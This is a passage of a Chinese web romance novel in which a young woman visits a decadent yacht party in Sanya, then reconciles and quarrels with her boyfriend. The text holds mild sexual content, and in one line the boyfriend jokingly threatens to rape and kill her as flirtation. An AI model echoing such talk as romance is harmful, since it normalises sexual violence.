“知道了”,她应得乖巧。
辛妈妈下手不重,但她过份白皙的大腿还是留下了粉色的痕迹。
不得不让人遐想连篇啊,姜渠感觉到全身的热血都在涌向同一处,逼迫他亮出狂热的爪牙。
辛熙并没有察觉,在辛妈妈离开后,她赶紧翻出手机。当然,她也注意到了姜渠脸色上的明显变化,但这被她认定为是他不高兴了,她只能很认真地道歉,“我妈妈还不知道我有男朋友,所以如果被她知道我在和一个男性视频,我的年就过不好了,你能理解吗?”
“真的觉得抱歉?”姜渠似乎有了什么主意,可以让她做点事情弥补。
“真的。”
“那你......”姜渠忍不住想说出自己内心最浑浊的话,想叫她配合,一起将叫嚣的欲念全都撒出去。
-----让我看看你吧,如果这句话,不会吓到你的话。
“要我干嘛?”辛熙并不太懂他为什么吞吞吐吐。
姜渠很快挂了视频,他并不确定,植根人性最卑劣处的欲望,对于这个美好的女孩子会不会是带有伤害性的。
“见面再说。”
初三一早,辛家人坐上飞机,去了温暖的海南。二姑一家提前一天到了,听说是因为二姑的婆婆让二姑一个人做年夜饭,气得二姑父当晚就改签了机票,大年初一就到了三亚。
几年前,辛家的兄弟姐妹合资在三亚购买了两套临海的联排别墅,每逢过年,四家人就会凑一起住几天。
飞机落地凤凰机场,辛家一行人浩浩荡荡地,像个旅游团。辛熙戴着鸭舌帽,穿着防晒衣,这次的租车是她联系的,所以她领头走在前面。佟歆亚不知道从哪个方向窜过来的,声音里是她一贯的那种飘在云端的傲气,“你是改行了,还是兼职做导游呢?这么缺钱吗?大过年的。”
“你眼神不好还出来玩,不怕走丢吗?”辛熙不想搭理。
佟歆亚才不在乎她态度冷淡,她甚至从和辛熙的斗嘴里得到了一种奇妙的快乐,“奇了怪,我怎么和你这么有缘呢。哪儿都能遇见。”
“是呀。我初一去寺庙的时候,明明求了菩萨保佑我广结善缘的,怎么不太灵呢。”
“那你没求菩萨保佑你多赚点钱吗?”
“妹妹,怎么了?”在后面说说笑笑的辛家人注意到了这边,都加快了步子走过来。
佟歆亚感觉到了排山倒海般的压迫力,重新将头顶的墨镜戴上,留下一句,“明儿出来玩啊,带你长长见识”,就和同伴离开了。
辛熙解释说碰见了熟人,随便聊了几句,家里人并没有起疑。只辛雅和她互相递交了一个眼神后,确认其身份。
等到晚间时分,辛雅才重新提起此事,“前任的事情,你应该交给他自己解决。如果他处理不好,那他也可以成为前任了。”
“这里面有些复杂”,辛熙想到了元如苏,“而且,我觉得佟歆亚就是个傲气点的小公主,没什么坏心眼。”
“不要做圣母,OK?”辛雅有些怒其不争,“家里人疼爱你,不是为了让你爱心泛滥到,去受外面的罪。”
堂嫂在旁边附和:“是的呀,你哥经常跟我和孩子说,咱们家的人什么苦都不吃。”
“嗯,我会注意的。”
77.第 77 章
辛熙很快就知道了佟歆亚要带她见的世面是什么样子的了。
当椰林从视野里消失,蓝色的大海成为唯一的世界,辛熙随佟歆亚踏上了一艘游艇。游艇高速行驶,划破蓝色的海面,掀起泡沫般的浪花。
游艇的顶层甲板上有个无边泳池,几个肤色不同的男女正在沐浴阳光,只够遮住重点的布料被一根细线系着,看上去岌岌可危。一个麦色皮肤的女生微微撑起身子,语气说不上好坏,“回国了?佟大小姐,也看得上国内的海了?”
佟歆亚也不冷不热地,“带个朋友来玩玩。”
女生这才看了眼辛熙,顿觉无趣,“穿成这样,应该去体育馆打网球。”
辛熙戴着棒球帽,成套的运动服饰贴合着身体曲线,只有裙裤下一双笔直细长的腿露在外面。相比之下,确实保守了些。
佟歆亚拉着她往下走,“别理她,她恨不能一年三百六十五天都全/裸。”
和甲板上女生的大胆不同,佟歆亚在自己的比基尼外披了件几乎拖地的防晒长纱,但刚一走到可以遮阳的地方,她就脱了,露出傲人的身姿。一名侍应生从楼下上来,托盘里是五彩缤纷的酒,佟歆亚拿了一杯,呷了一口,吐槽说:“又拿果汁兑酒。走,带你去喝点真的。”
从楼梯下到第二层,香槟色的沙发上,一名金发碧眼的美女正在和东南亚肤色的男性热烈的亲吻,当她俩经过时,辛熙甚至看到美女的手已经从男人的沙滩裤管里伸了进去。
“莉莉安就好东南亚品种”,佟歆亚见怪不怪。
品种?辛熙开始怀疑自己对佟歆亚有认知错误,但此刻,她应该没有退路了。
“放松点,好么?”佟歆亚看着身边如临大敌的人,“我可没有穷到要拉皮条。”
楼下的动感音乐振聋发聩,堵住了辛熙想要还嘴的心。毕竟,人在屋檐下,她在大海里。
楼梯的空间并不宽裕,空调的冷气在这个地方涡旋,让她汗毛颤栗。但等真正走到第三层时,就会发现底层比想象中宽阔,像夜店的中央舞池,男男女女贴身热舞,擦枪走火。
沙发上,几名女性身边陪坐着不同风格的男性,阳刚、阴柔、乖顺,但无一例外地,呈现出下位者的讨好姿态。
正前方是开放的驾驶室,驾驶员应该有很高超的技术,以致于他在回应一个身材火辣的女人的挑逗时,依然能够保持航行。
紧挨着的是DJ操控区,动感的音乐正是出自这里。一双好看的手游刃有余地控制着,食指和无名指戴着的金属戒指被顶光照得发亮。
辛熙不可避免地注意到了他健硕的腹肌,因为他根本没有穿上衣,也许曾经穿过,毕竟他的脖子上还挂着一条领带,当然,也可能只有领带。辛熙已经无法找到任何的中文词组可以表达此时的感受。
“喜欢腹肌男?”佟歆亚见她多看了两眼。
“没有,没有”,辛熙急切地否认,“只是觉得有点眼熟”。
“正常,他去年有部古偶剧挺火的”,佟歆亚见怪不怪。
脑子里的宇宙发生了大爆炸,辛熙从他立体的面容上辨认出来,竟然是那个爆出隐婚出轨丑闻的流量明星-詹柯。现在,在做这个?
“这就吓倒了?”佟歆亚勾起唇,语气里隐隐还带着一点同情,对辛熙说:“放轻松。这是个美好的时代,所有人,尤其是女性,正在获得更多的开放性权利。别老守着你那些老思想,像个古板的裹脚妇女。男人三妻四妾了那么多年,凭什么,平权以后,女人只能一妻一夫。”
“所以你和姜渠分手,是因为你想要一妻多夫?”辛熙连对自己说出来的话,都感到陌生。要不是佟歆亚说要告诉她自己和姜渠分手的原因,她根本不会赴约。好吧,她承认自己免不了俗,她就是很好奇,两个看上去很匹配的人为什么会走不到头。
“我只是想多些体验罢了,结果......”佟歆亚耸肩,叹道:“Jim太老套了。”
辛熙朝她竖起大拇指,真心想赞一句:牛!
音乐开始变奏,舞池中央聚拢了几个精壮的裸/男,一个丰乳肥臀的女人正在朝他们撒钱。男人只能用躯干的力量去接,这使得他们主动或被动地牵动起腰腹的肌肉群,显出性感又色/情的力量感。
就像男人们喜欢看女人艳舞一样,在这里,性别转换,更有权有钱的女人,成了玩家。
没有什么规则是男人或女人一定要遵守的,这世界所有的规矩,都是强悍者为了奴役贫弱者而制造。
嗯,辛熙的世界观也塌陷了。
“喜欢哪一个?”佟歆亚见辛熙看得有些认真,“Just chill,我保证不会传到Jim的耳朵里。”
辛熙摆摆手,这些视觉上的冲击并不足以撼动她骨子里的保守。
佟歆亚朝DJ台的方向招手,那颗被蒙尘的明星朝他们走了过来,佟歆亚指挥他坐到辛熙身边,“你的小粉丝,好好照顾一下。”
“是吗?”詹柯的声音并没有剧里的那般低沉醇厚,反而带着一点跳脱,明快清冽,“小姐姐,第一次出来玩吗?”
他坐得有些近了,虽然辛熙在看剧时短暂地迷恋过那个仙风道骨又情深似海的仙尊,但此刻,她感觉不适。辛熙收拢腿,绷着肩背,拿出了点生人勿近地架势,“就,随便看看。”
进商场时如果不想导购员随行介绍,辛熙一般就用这句话来委婉拒绝,但有时也会遇到个过分自信的售货员,以为她不挑剔,就正好可以按照他自己的推销策略来引导完成交易。詹柯就是这样的一名销售员,“小姐姐不用紧张,在这艘游艇上,女人为王。没人会逼你或者占你便宜,你可以做或不做任何事情。我们先喝点酒,放松一下,好么?”
她确实有些口干舌燥了,但喝酒,并不是个好办法,“有水吗?我喝水就行。”
“当然”,詹柯很快拿了瓶矿泉水回来,给辛熙倒了一杯,“小姐姐,看过我的剧?”
“嗯,去年蛮火的。你那个角色死掉的时候,我和我朋友们都哭惨了。你们那部剧的镜头美学也很强......”辛熙愿意再多聊一些,不然她真的怕事情走样。因为她看到佟歆亚已经走到船舷,和一个蜜色肌肤、身材欲野的男人,如胶似漆了。
“谢谢你们的喜欢”,詹柯低下头,垂着眼,语气可怜,“可惜再也不能给喜欢我的人带去作品了。”
“是因为......那些新闻吗?”
“姐姐,也信网上说的那些了吗?”詹柯凝着一双委屈的眼眸看向辛熙,称呼自然地从小姐姐变成了姐姐。
辛熙不知所措,忽然有点理解古时候的昏君了。如果,是说如果,她现在是个坐拥百亿资产的豪姐,她一定会忍不住给他砸钱。可惜她不是,辛熙的理智在三秒内重新回归,“网上的事情真真假假,我们旁观者就是看个热闹。等热度过去,你再找机会,你的粉丝们一定都会捧场的。”
“嗯。那姐姐,可以和我一起喝杯酒吗?”詹柯指了
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指正在另一侧和一个白嫩小生玩闹的中年女人,小声说:“她是圈里的资方,我想结识她。姐姐可以带我去和他们一起玩游戏吗?”
詹柯大概把她当成了这个圈子里地位不上不下的某某,他不能得罪,但又不想多花心思奉陪。
辛熙找了个借口躲到甲板上。
她今天是真的长见识了。这艘游艇上上演的真人版春宫图给予她的震撼,远远超过了她的认知。
第一次真切地了解性/事,是在大学宿舍,和舍友躲在床上点开了一部禁忌片。四个人尚未经事的女孩子看得津津有味,甚至基于基础的生物学知识,对于生理结构和心理感受的问题进行了理论性质的探讨。
后来,当她们陆续有了实践,曾经的言论都被推翻。所谓实践出真知,就是这么个道理。
摩托艇一个漂亮的甩尾,将海浪冲上甲板,辛熙惯性地往后躲,直直撞上了跟过来的詹柯的胸膛。
“没事吧?”
“没事”,辛熙抹干脸,海水是真的咸啊,“你怎么出来了?”
“她让我先排队等着,所以我就只能出来找姐姐咯”,詹柯笑得明朗。他忽然靠近,吓得辛熙后退,“姐姐躲我做什么?我的前女友们可是对我赞不绝口呢。”
“不是,我,我......”
“你们在干什么!”熟悉的声音先于人影传来,辛熙还没看清,就被一道黑色的影子挡住了视线。
“你谁啊?”
“你怎么在这儿?”
“姜渠?”
“Jim?”
几道声音同时出现。
詹柯已经眼明心快地退到一边,佟歆亚重新披上了她的防晒长纱,对于姜渠的到来,心情复杂。两个人还是情侣关系的时候,佟歆亚就幻想过这个场面,姜渠追上她的游艇,呵斥她的不忠诚,并强行带走她。姜渠几乎擅长所有的户外运动,她毫不怀疑他有这样的能力,只要他愿意。这会比他在听到各种传闻时说相信她的不温不火的表情,更加让她动心。
但姜渠唯一一次表现出在意,是在加州的亨廷顿海滩,他没有任何预兆地直接结束了他们的关系。
“Jim,你破坏了我们的兴致”,佟歆亚说得隐晦。
姜渠把辛熙拉到身边,好似她刚刚被搭救出来般需要呵护,“佟歆亚,你玩你的,我不干涉,但你不应该把她带来。”
“她是成年人,Jim,我又没有绑着她”,佟歆亚走过来,海风吹起她的长衫,吹出几分风情来,她说:“我只是带她出来长长见识,不然她还以为这个世界上只有你一个男人了。Jim,你得有信心,让她尝尝别的滋味。”
“这些话,还是留着教育你的未婚夫吧。”
佟歆亚脸色微变,“你告诉他了?”
“我没那么无聊”,姜渠神色冷峻,“但这世界上没有不透风的墙。我的建议是,你对另一半,应该有基本的尊重。”
“所以你就选了这个,和你一样思想老旧的人?”
辛熙感觉自己又梦回栖云山那个尴尬的场面,虽然此时,他们的角色身份有了变化。其实,当她站在甲板上欣赏着海景,而身后不时传出来的喘息声却严重破坏了她想要的旷达深远时,她就想明白了。
老话越品越有理。
人应该以群分。
“佟歆亚,谢谢你带我来长见识,很新奇。但我现在,更想坐摩托艇了”,她攀上姜渠的小臂,“带我回去,好吗?”
78.第 78 章
辛熙没有半分炫耀之意,但佟歆亚多少是有些恨铁不成钢的。
虽然,当她看着辛熙穿上姜渠带来的救生衣,坐上快艇离开的时候,她内心是有明显的失去感的,但她不想去深究这种负面情绪。天大地大,哪儿还能找不到一个更大的活男人了。
佟歆亚转身,重新投入到刚才的战场上去。
“姜渠”,辛熙在海风的呼啸声中大喊,“我们可以在海上兜一圈吗?我好喜欢现在的感觉啊,好自由。”
姜渠没有应答,风将他的冲锋衣吹成将军的披甲,他站着控制舵轮,快艇在倾斜到了一个几近侧翻的角度后调转了方向。引擎声急转成愤怒的咆哮,而艇身像被巨浪弹射出去的子弹。海水在离心力的作用下飞溅成水幕,像给他们安上了一对透明的翅膀。
风压得人有轻微的窒息感,他们的血压和心跳都在极速攀升。
“往那里去,追上落日!”她指挥着一个方向,姜渠毫不迟疑地驶过去。没有章法、没有目的,不考虑后果。这场奔逃,突如其来。
起初,太阳还悬在半空,烧红的光线裹住了起伏的海浪。渐渐地,太阳开始下坠,它先是胀大了一圈,边缘由此变得模糊,像一副画突然浸了水,墨汁晕开,海天交界处洇起的紫红色雾霭,正是它脱的色。
慢慢地,光线不再刺目,一条玫瑰金色的光路从无尽处笔直地蔓延过来,他们的探寻之路也暂停在这里。
“怎么不走了?”欢呼声戛然而止,辛熙不解地询问。
姜渠关闭了发动机,“没油了”。
浪漫的代价是现实问题的不可避免,“那怎么办呀?”
“飘着。”
姜渠戴着墨镜,稍显冷淡。辛熙知道,他不太高兴,于是贴过去,像只温顺的小猫,“那就飘着”。
她靠着他的肩膀,感觉到切实的安心。现时的一切都很美好,浪漫主义正在蛊惑被封印在深处的欲。
夕阳余晖将整片海域染成葡萄酒般的绛色,美得醉人。
他们并肩而坐,此刻浪漫至极。
“姜渠,我有没有跟你说过,我爱这世上所有灿烂的东西”,她侧身,捧起他的脸,他的墨镜里映着自己的样子,辛熙将他的墨镜取下来,“灿烂的海上落日,落进了你的眼睛里,我爱你的眼睛。”
姜渠将她拉近,精准捕捉到她藏起的狡黠,“别以为说情话,就能把今天的事情揭过去。”
“好吧”,辛熙无奈地解释,“可我只是上去看了看,什么都没干。”
“你还想干什么?”姜渠一哂,微凉的手指略带惩罚的力度落在灼热的皙白肌理上,“想和佟歆亚学吗?”
指尖经过的肌肤敏感得发紧,她想退,但毫无余地,“你别把对她的怒气牵连到我身上。”
话还未落,裙裤兜里忽然落出几个裸粉色的雨滴形状的小东西,姜渠脸上的愠色愈加浓烈。辛熙眼疾手快地捡起来,藏到背后,“这是游艇上一个美女强塞给我的”,可能是见她有些拘束,美女还好心地推荐给她,说这款体验感最佳。
“既然如此,那就别浪费人家一片好意”,简单的碰触后,被风刮凉的肌肤变得灼热,像是吸入了夕阳的余温般,他的手极富技巧,探得更深一些,“想了吗?”
不能否认,在看到那些激烈的场面时,她过份地思念姜渠,手指在他手臂上留下抓痕,喘息声无意识地加重,“嗯,有那么一点点”。晚霞像是个知趣的气氛操控者,将他们周身的海域染成旖旎的瑰色,“要在这儿吗?”她有些犹豫,但也躁动。
“要一起冒险吗?”他挡住了她全部的视角,声音里挑起的浮浪更是将她的欲望勾出天雷地火。
此刻,天为盖,海为被,身体饥渴得像在海水里泡了三天三夜。濒死之际,天罡伦常、规矩礼仪、文明教育,都应该去见鬼!
辛熙抬起手臂,将人拉近,声音似有轻弦撩拨,“你前世一定做过青楼里的头牌”。说完,直接吻了上去。
同时,姜渠的手箍住她的后脑上,迫使她仰头,两股力量发狠似的较量着,两个人四只手都在对方的身上作威作福。辛熙毫无胜算,她不得不被带动着,站起身,不知道是谁的脚先滑了一下,两个人险些掉到海里去。姜渠凭着核心力量稳住,翻身又将人摁在驾驶位。他将手垫在她的后腰,直接逼近。【审核老师,只是在互相较量拉扯了,没有后续的描写!!!】
当太阳触到海平面的时候,光线是被一口吞没的,只留下几缕暗橙色的云絮,像篝火燃尽后残余的火星。
姜渠想到了那个在雪域高原上打马归来的少女,金色的光线是她威风凛凛的战袍,而此刻,他好似,就是那匹马,驮着豪情万丈的姑娘,睥睨天下。
光芒散尽。
他们依偎着,游艇被海波冲击得微微荡漾,辛熙说:“姜渠,我不想学她。因为,我只对你有感觉。”
姜渠抬手揉着她刚刚理好的头发,“事后情话?”
辛熙莞尔一笑,坦诚道:“这种环境下,很适合抒情啊”。她今天有好多好多的爱意想要抒发,致祖国、致爱人,致世间万物,“我们来聊聊真心话,好不好?”
“爱。”
“嗯?”浪拍打的声音将那个字的音调盖住了半分,辛熙以为他叹了口气,不解地望向他。
姜渠同样回望过来,眼睛里似兜着一汪深情的水,认真又带点羞涩的调调,“我也爱你”。你爱世间所有灿烂的东西,而我爱你。
辛熙想,她大概至死都不会忘记这一天。她在一片无垠的大海里,夕阳褪去,月亮未悬,一个男人说爱她,眼里的光抵过了星星和日月。虽然,她其实只是想问“你今天怎么来了?”但她得到的答案好像可以回答所有动机,因为爱,所以任何时候任何地点,都会奔向你。
辛熙又不争气地哭了,这倒让姜渠慌了神,快艇上的纸已经被用光,他只得用手指给她擦干,“说句爱你,有这么吓人吗?”
“这也是你的事后情话么?”她吸吸鼻子,假装着,语态轻松。怕自己因为这一个“爱”字的诱惑,就忍不住想要放弃原本的人生期望。
耳边的海风没有得到姜渠的回应,就只能朝着前方继续奔袭。
“有点冷了哦”,辛熙搓摩着露在外的肌肤,在姜渠把外套给她披上的时候,笑得很甜。辛熙想,虽然这些举动在辛雅的观念里只是合格
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标准,但她已经满足了。她在所有事情上都不冒尖,所以也不会去贪图,高于合格线的爱情。这样的,就很好。
“那回了?”
“回吧。”
油门拧开的瞬间,两个人注视着前方的未知海域,有种并肩作战的澎湃感。谁都没有拆穿之前的谎话,因为从一开始就是被默许的。
回到岸上时,天色已晚。他们手牵手走在椰林长廊下,海风从海中央追到了岸上,依旧不放过他们。他们像是过来度假的情侣,抱着椰子水,走过灯红酒绿。
路上,辛熙终于知道他为什么会出现在这里。元如苏习惯了在外奔走,但她现在已经不宜独自远行。她就像个得不到糖吃的孩子,成天在家里作闹。最后是姜怀正心软,答应带她出门。他们已经没有了法律上的照顾义务,黎英不好意思全全委托给他,只好跟着一道去。对于姜渠而言,黎英又何尝不是他丢给姜怀正的责任呢,所以,他也只能跟来了。也因此,成就了他们祖孙三代的第一次旅行。
“嘿,那你是因为我,选定的三亚吗?”辛熙偏着头,目光希冀,灯光落在她的脸上,像他们刚刚告别的落日晚霞。
姜渠插着兜,隐有告诫,“不来怎么知道,我的女朋友如此不安分。喜欢小细狗?”
辛熙疯狂摇头,“我发誓,我这真的只是单纯地对于未知的好奇。说到这个啊,我真的觉得我今天大开眼界呢。”
“比如?”
“比如?那你肯定知道的呀,你们男人的这种娱乐怕是只会更疯狂。”
“那想去见识一下吗?”姜渠扔出诱饵。
“真的?”好像蛮有意思的呢。
谁知,姜渠立马收了网,表情冷肃,“要再有下一次,我会直接把你扔进海里喂鲨鱼。”
辛熙讨着好,“杀人犯法也,为这么点儿事,赔上你的大好人生,不值当。”
姜渠忽然将人抓过来,在她耳边低咬,“那就先奸、后杀,不亏。”
“你变态啊”,辛熙红着脸,又羞又怒地跑开。
同姜渠告别后,辛熙接到了佟歆亚的电话,她应该也回到了岸上,电话里没有其他的嘈杂音,佟歆亚说:“你可真没用,Jim一来就怂”。
“不是哦,我本来也没想干什么。”
“是么?詹柯可还问我要你的电话呢。”
“别给”,辛熙赶紧阻止,“他看我和你一起去的,应该是误会我有什么资源背景了。”
佟歆亚冷冷地哼了一句,“当然,我又不是拉皮条的”,伴随着一声轻微的吞咽声,佟歆亚的声音染上了醉意,“我打这个电话,只是想告诉你,Jim今天过来,可不是我说的。”
“嗯?”辛熙倒是没想过这个问题,但她更惊讶的是,佟歆亚居然会给她打电话解释。
“游艇上有一女的,应该是不知道我和Jim分手了,故意给他拍了视频,被我给揪出来了”,佟歆亚说这话时,醉意里又添了几分痛快感。
“好吧”,辛熙还想多说些什么,但又恐交浅言深,就只道了声谢。
“用不着啊,我可不会和你做朋友。”
“我也没那意愿的,好么?”
79.第 79 章
后面的几天,辛熙早出晚归。姜渠领着她玩了很多的海上项目,她学得快,玩起来很投入,与自然从对抗到驾驭的过程,带来的不仅仅是感官上的刺激,还有她生活中很少有的“我好棒”的成就感。
辛熙被晒黑了好几度。她坐在沙滩椅上,身上还水淋淋的,抱着汽水狂喝,“我感觉我现在跟这个汽水一个色儿了。”
“有吗?我看看”,姜渠捏着她的脸转过来,“嗯,像焦糖玛奇朵,我尝尝味儿”,语罢,手指加力,将她的嘴捏得嘟起来。
亲昵的场面被突然的人音打断,堂哥牵着穿着波西米亚风的堂嫂走了过来,脸上的笑容极其暧昧,“熙熙,这位是?”
嘴里的汽水呛进喉腔,辛熙在姜渠自我介绍前,忍住咳嗽,抢先说明:“潜水教练......我刚请的,咳咳,你们怎么到这里来了?”
“你哥想玩水,我们趁孩子被姥姥姥爷带去买冰淇淋时,偷跑出来的”,堂嫂并未怀疑。家里目前只有亲如姐姐的堂嫂和辛雅知道她有男朋友,但堂嫂没见过本人,所以也没有联系到一起。
堂哥笑容满面的,将妻子的手拢紧,两个人结婚多年也依然亲密无间,“不是你说,想趁今天天气好,拍点美照发朋友圈吗?”
堂嫂动作娴熟地捂住堂哥的嘴,“没有的事儿。”
辛熙见惯了他们的打情骂俏,平日里会跟着掺合逗逗乐,但此刻,旁边的“潜水教练”面色不虞、耐心不够,辛熙指着一个方向,催他们过去,“往那边去啊,绕过礁石,人少风景美,光线也柔和,逆光拍照特别好看。”
第二天,辛熙不敢再去那片海域,借口说不想再继续晒黑,把姜渠约到了博物馆。姜渠是否猜出了她的用意,她无法得知,但见他依然和往常一样同自己相处,想来,也是乐见这种安排的。
第三天,琳琅满目的展品,让人仿佛置身海底世界,但,迎面走来的两人怎么这么熟悉,辛熙甚至怀疑自己的眼睛,都不相信会再次遇见熟人,笑得牵强,“大伯、大伯母。”
“熙熙,你也在这儿啊?”大伯母一边说,一边眼神往姜渠身上飘,“之前叫你来逛,你还说无聊,怎么今天不觉得无聊了?”
大伯也在打量着姜渠,休闲版型的polo衫穿得板板正正,在见到他们后收敛了几分意气,谦逊地站着。大伯暗笑妻子多嘴,但也不阻止,“年轻人是应该多出来走走的嘛,多交交朋友,是好事情。”
辛熙确定自己在打招呼之前就已经甩来了姜渠的手,这时的谎话说起来就多了点底气,她上前挽起大伯母的手,“正好我逛累了,大伯母,我蹭你们的车回去吧。”
“诶,那他......”大伯母深感遗憾。
辛熙小声说:“刚认识的,高冷得很,算了。”
“潜水教练?刚认识的陌生人?我还有什么身份?”姜渠坐在咖啡店里,对去而往返的人,凛声质问,“哦,还有专车司机”。
声音里的寒意被三亚的热浪冲淡,辛熙想到了那天,他送她到小区外时,碰到了正在饭后慢步消食的爷爷奶奶,也被问了同样的问题,那次辛熙给他安的身份是专车司机。上下车开车门,体贴调节车内温度,渴了饿了都有回应,还会附赠香吻的......随叫随到的......司机。
辛爷爷提醒她:“以后打车,记得坐后面,安全性不容大意。”
辛奶奶瞅着姜渠长得好不像坏人,但也提醒她,“在外面,防人之心不可无,看人不能只看表面。”
辛熙也很无奈啊,明明三亚那么大,海那样地阔,怎么就那么容易碰上面,事情甚至还有了一发不可收拾的征兆。家庭群里正在讨论,是潜水教练这种运动型男适合辛熙,还是博物馆里遇见的儒雅型文化人适合,至于专车司机为什么不在考虑范畴,大概是因为辛爷爷那句“多少还是得有份稳定工作吧。”
“我怎么知道,这三亚感觉快成我老家了,到哪里都能碰到我家里人。”
“我有这么见不得人?”
“当然没有”,辛熙拉着他的手,轻声轻气地叹了一句,“我能理解你生气,你也能理解我的吧?”
“不理解”,姜渠并不配合。
两个人跟较着劲儿似的,保持沉默。
咖啡店外的遮阳伞下,也有一对吵架的情侣。女生站起来时,椅子腿刮着地面,发出了尖锐刺耳的声响,引起了其他人十分不悦的侧目,男生紧跟着起身,朝周围人道歉,态度温和而有礼。
有旁观者站起来,劝男生:“女孩子嘛,任性点也正常,你多哄哄啊,男人嘛,得大气点儿。”
男生脸上的温和笑容更深,连应了几声,“是,是”。
仿佛是刻意安排的剧情,女生此时特别无理地推开了男生,正好应证了旁人口中的“任性”定位。男生无奈,又道了声歉,急急追了上去。
走远的身影只看得清出拉扯的动作幅度很大,女生甩来男生的手,男生又再次贴上去。旁观的人收回了八卦的眼,嘴里的调侃却似乎没有停止。
“明明是男生一直打游戏,约会迟到、态度敷衍”,辛熙盯着走远的情侣,愤愤不平,“可别人只看见女生在发脾气,就说是女生任性。真不公平。”
姜渠的眼神落回到她身上,“旁人不知真相,却都劝男生大气一点,这何尝不是对男生的不公平。”
“事情的本因是男生的错误行为导致了女生发脾气,而其结果,却是男生得了个大气的好名声”,辛熙并不服输地同他对视。
“可如果角色互换,男生大概率不会在意女生约会迟到,也感觉不出态度敷衍。”
“严谨一点,是大部分男性。”
“对。”
“那是因为他们没有大部分女性的细腻。可他们往往贪图女性情感细腻表达时所展现的温柔,却不想因此负担这份细腻需要的情感回馈。”
“严谨一点,只是少部分男性。”
“不对”,辛熙直直反驳,“大部分里的大部分,都是这样。”
“指桑骂槐?”姜渠笑容促狭,眉棱拢起一种似有似无的戏谑,“看来,你对我怨气很大?”
“是你先有脾气的。”
“如果你指的是三番五次被女朋友在其家人面前装不认识的事儿,我承认”,姜渠难得地表现出一种理智之外的蛮横,好似他已经占据了高地。
在一小段的静默过后,辛熙靠着先前产生的那点愧疚压住了心里的火气,语气尽可能地维持原样:“姜渠,我是真心想要和你好好谈段恋爱的。我也希望,在三亚的这几天,可以成为我们值得珍藏的美好回忆。所以,我们不要吵架,好不好?”
“你看,如果此刻有人听到你的话,我就会被认为是破坏这段回忆的罪魁祸首。”
“难道不是吗?”辛熙有些语急,她觉得姜渠应该理解自己的行为,虽然这种行为存在伤害性,但她已经两害取其轻了,“难道你觉得,我应该告诉他们,你是我男朋友?”
“不应该吗?”姜渠无法理解。
“那你知道接下来会发生什么吗?”辛熙感觉自己正在失控,嘴里的话被情绪推着,蹦出来,“他们一定会拉你去家里吃饭,在饭桌上摸清你的脾气秉性、了解你的个人信息。你很清楚,你算得上是一个很不错的结婚对象。那么接下来,他们会努力促成我们见家长、订婚期、催促结婚、甚至生子。你乐意见到这些吗?”
姜渠的沉默,让辛熙锁定了答案,虽然她不知道,他那些落进眸子里的柔意代表的是愧疚还是什么?
她继续说:“我的家庭很传统。男朋友在我的家里的身份定义,是情意相投的男女选择彼此成为共度一生的伴侣,在走完法律流程之前的临时称谓。而不仅仅,是某段仓促感情的代名词。”
姜渠感到烦恼,“我需要再重申一下,我对这段恋爱的态度是认真的。”
“可你不能否认,你在听到我的描述时,感到烦躁。”
辛熙有时候会觉得姜渠很可怜,虽然他现在已经拥有很多世俗意义上的成功,但她总觉得他
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身体里有部分区域是麻木的,在排斥更为亲密的关系的黏合。有时候她也觉得自己可怜,明明是个普普通通的俗世人,所求也只是按部就班的恋爱结婚,怎么就要遇到个这样的人,偏还舍不掉。午夜梦回时,她也曾安慰自己,也不是什么功德圆无量的大善人,凭什么要事事如意呢。
网上说,爱是常觉心疼,所以,辛熙知道,她是爱姜渠的,但她也爱自己。
这个话题,终结了他们的三亚之行。
临上飞机之前,辛熙接到了姜渠的电话。原本他们计划坐同一个航班回去上班,但隔壁海宁市突发严重水灾,有合作的医院客户的负一、二层被淹没,积水达十万余方,直接导致高端设备进水,医疗设施瘫痪。姜渠得到下面的反馈,连夜联系工程师团队,飞抵现场支援,抢修设备。
“那你注意安全。”
“我会的。”
电话里的声音有点嘈杂,陆续有人在向他确认工作安排,辛熙不想耽误正事,催促着,“那你赶紧去忙吧,我们,京北见。”
姜渠“嗯”了一声,却没立马挂断,喑哑的声音卷着几分疲惫,“抱歉,关于三亚的回忆应该更美好的。”
辛熙挂完电话,向身边的黎英等人解释了原因。
自然都是理解的,只有元如苏,端着架势,“你不是跟他一个公司么?你怎么没去?”
姜怀正替她解释,“你儿子负责的是整个中国区,这边有事情,他自然得上。小辛又不负责这边的业务。”
“哦,就是说,能力越强,责任越大,我懂”,元如苏将自己的行李箱推给辛熙,“既然如此,那你就负责给我们搬行李吧。”
元如苏的话刚说完,就被黎英背后一击,“指使谁呢,把你的臭毛病给我收起来”,说完,拉着辛熙往前走,“不管她。隔段时间就要犯点神经。”
“妈”,元如苏跟在在身后叫屈。行李箱自然是落在姜怀正的手里。
辛熙觉得元如苏对自己的不友好,不是隔段时间就犯的问题,而是非常特异性地在面对自己的时候就会自动触发。至于其中的症结,她弄不太懂。在见到元如苏之前,她在脑中勾勒的形象是率性洒脱的。虽然抛家弃子显得自私,但不妨碍她人格上的独立和坚硬。
她只能将原因暂时归结为:元如苏更喜欢和她同样热爱自由的佟歆亚,所以才会针对她。
落地京北后,辛熙得到了一个单独和元如苏待在一起的机会。姜怀正去取车,而黎英去了洗手间。
元如苏依然对她十分嫌弃,但似乎又找不到合适的针对方式,只能站在一旁,眼睛滴溜溜地转。
“阿姨”,辛熙主动开口,倒还惊了她一跳。
“吓我一跳,你不知道我是病人吗?”
辛熙转成正向面对她,“阿姨,您是不是不知道怎么当个好妈妈,所以先学着先当个恶婆婆?”
元如苏的眼睛和嘴唇都兜成了圆形,脸有轻微地胀红,“你胡说什么。”
“你看啊,姜渠不在的时候,您表现得很以他为傲,姜渠在的时候,却又要贬低他。你这很矛盾哦。”
“我怎么跟我儿子相处,用不着你来评断。”
“好吧。”
辛熙闭了嘴,元如苏倒是不放过,继续说:“你别以为我不知道,你就是看中我儿子工作好,收入高。”
“不止哦,他还长得帅呢。”
元如苏知道她还记着上次自己骂姜渠的话,怒瞪了她一眼,“你俩在一个公司,他没少给你好处吧?”
“我说没有,您不信,我说有吧,您又得生气,阿姨,您真的要这么为难我吗?”
元如苏终于感觉到了眼前这个女孩的棱角。她讨厌所有圆滑的人,戳不破,捏不扁。在她这么多年的流浪生涯里,她无数次的被圆滑的人骗。他们往往率先释放善意,扮演得很真诚;或者将自己摆在可怜处,让你心软上当。
就像当年的那个男人,先以真爱勾/引,誓言说了一箩筐,后来推搪的理由,五花八门。
80.第 80 章
回到京北后,辛熙先送别了林早。她的离开比计划的来得早一些,“怎么提前这么久?还说再和你好好聚聚,都没来得及。”
